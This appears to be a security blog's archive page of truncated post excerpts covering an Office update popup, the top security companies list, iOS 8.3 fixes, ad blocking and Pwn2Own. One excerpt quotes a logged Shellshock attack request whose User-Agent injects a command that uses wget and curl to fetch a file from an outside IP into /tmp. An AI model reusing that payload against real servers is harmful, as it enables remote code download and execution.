I was installing an update of OneNote and I suddenly received this popup: Continuing could be expensive” You’re connected to a network that limits downloads every month. We need to stream some large files over your network connection to install Ofifice, so we recommend installing while connected to an unrestricted netowork. … Seriourly, Microsoft? […]
According to some online sources, PORN is what uses around 30% of the Internet’s bandwidth. Why do I care about this? Because the top searches in my news portal IT Security News (www.itsecuritynews.info) are: nude videos, porn and naked pictures of celebrities. I guess we are living in a very … lonely world. This is also how […]
Not so many people outside of the IT Security business know which are the top 500 companies in this field. Cybersecurity Ventures has published this top: check it here. I am not allowed to reproduce any parts of it, but I can tell you that the number 1 is FireEye. From the AV world, we […]
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I read very often about vulnerabilities and companies that got hacked. Many times, the reason for which they got hacked was because some recommendation issued by some smart people (read: security minded people) are ignored. But why are they ignored? I found some articles where several explanations are given for what is called “information avoidance“. […]
39 fixes are supposed to be delivered via iOS 8.3. Areas like KeyStore, Drivers, Backup, Kernel, Certificate Trust Policy, Networking, Lock Screen, Safari and the WebKit, and many more are being fixed. Apple doesn’t provide how critical the issues were, but from what I see there, at least a dozen or so made me raise my […]
One of my HTTP servers hosted on an Amazon EC2 receives regularly strange requests like these: One such request looks like this: GET /cgi-bin/php5 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plainrnrnXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; […]
In the News Quote for the Day “It is no secret that the cyber criminals are where the money is. If the targets are easy to breach, it is even better since this improves the ratio effort/outcome for them.” Sorin Mustaca, CSSLP, covers the basics for small to medium business inComputerWorldUK’s Infosecurity Voice and on the […]
I hate ads… They are for many companies, unfortunately, the main source of income. So, they are a necessary evil in today’s world where everything is expected to be free of charge. In general, I use an anti-advertisements filter in the browser. Now I use AdBlock for Chrome. It is available for FF and IE as well. But, what […]
The annual Pwn2Own hacking competition wrapped up its 2015 event in Vancouver with another 21 critical bugs in Firefox, Chrome, Safari, IE, Adobe Flash, Adobe reader, and last, but definitely not least, the Windows operating system. For those who don’t know the contest, the name “Pwn2Own” is derived from the fact that contestants must “pwn” […]
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